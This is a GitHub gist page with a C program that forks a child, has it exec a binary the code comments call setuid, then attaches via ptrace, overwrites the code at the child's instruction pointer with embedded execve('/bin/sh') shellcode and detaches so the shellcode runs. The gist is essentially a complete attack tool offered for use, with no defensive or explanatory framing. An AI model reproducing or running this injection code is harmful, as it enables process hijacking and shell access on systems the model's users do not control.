Skip to content

Instantly share code, notes, and snippets.

@w1redch4d
Last active February 28, 2023 18:54
Show Gist options
  • Save w1redch4d/16d73370e6ab33cc05927790f45461dc to your computer and use it in GitHub Desktop.
Save w1redch4d/16d73370e6ab33cc05927790f45461dc to your computer and use it in GitHub Desktop.
PTRACE inject shellcode to a child process by loading your desired elf without modifying /proc/sys/kernel/yama/ptrace_scope
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 32
unsigned char * shellcode =
"\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int
inject_data(pid_t pid, unsigned char * src, void * dst, int len) {
int i;
uint32_t * s = (uint32_t * ) src;
uint32_t * d = (uint32_t * ) dst;
for (i = 0; i < len; i += 4, s++, d++) {
if ((ptrace(PTRACE_POKETEXT, pid, d, * s)) < 0) {
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main(int argc, char * argv[]) {
struct user_regs_struct regs;
pid_t child_pid = fork();
if (child_pid < 0) {
perror("fork");
return 1;
}
if (child_pid == 0) {
printf("child: running with pid %d\n", getpid());
// sleep a bit. we want the parent to attach here
sleep(1);
// we are now being traced, exec a setuid binary
printf("child: calling setuid binary\n");
execve("your_binary", NULL, NULL);
perror("exec");
} else {
printf("parent: running with pid %d\n", getpid());
// sleep a bit and let the child execute execve
sleep(5);
printf("+ Tracing process %d\n", child_pid);
if ((ptrace(PTRACE_ATTACH, child_pid, NULL, NULL)) < 0) {
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
printf("+ Getting Registers\n");
if ((ptrace(PTRACE_GETREGS, child_pid, NULL, & regs)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
/* Inject code into current RPI position */
printf("+ Injecting shell code at %p\n", (void * ) regs.rip);
inject_data(child_pid, shellcode, (void * ) regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf("+ Setting instruction pointer to %p\n", (void * ) regs.rip);
if ((ptrace(PTRACE_SETREGS, child_pid, NULL, & regs)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");
if ((ptrace(PTRACE_DETACH, child_pid, NULL, NULL)) < 0) {
perror("ptrace(DETACH):");
exit(1);
}
return 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment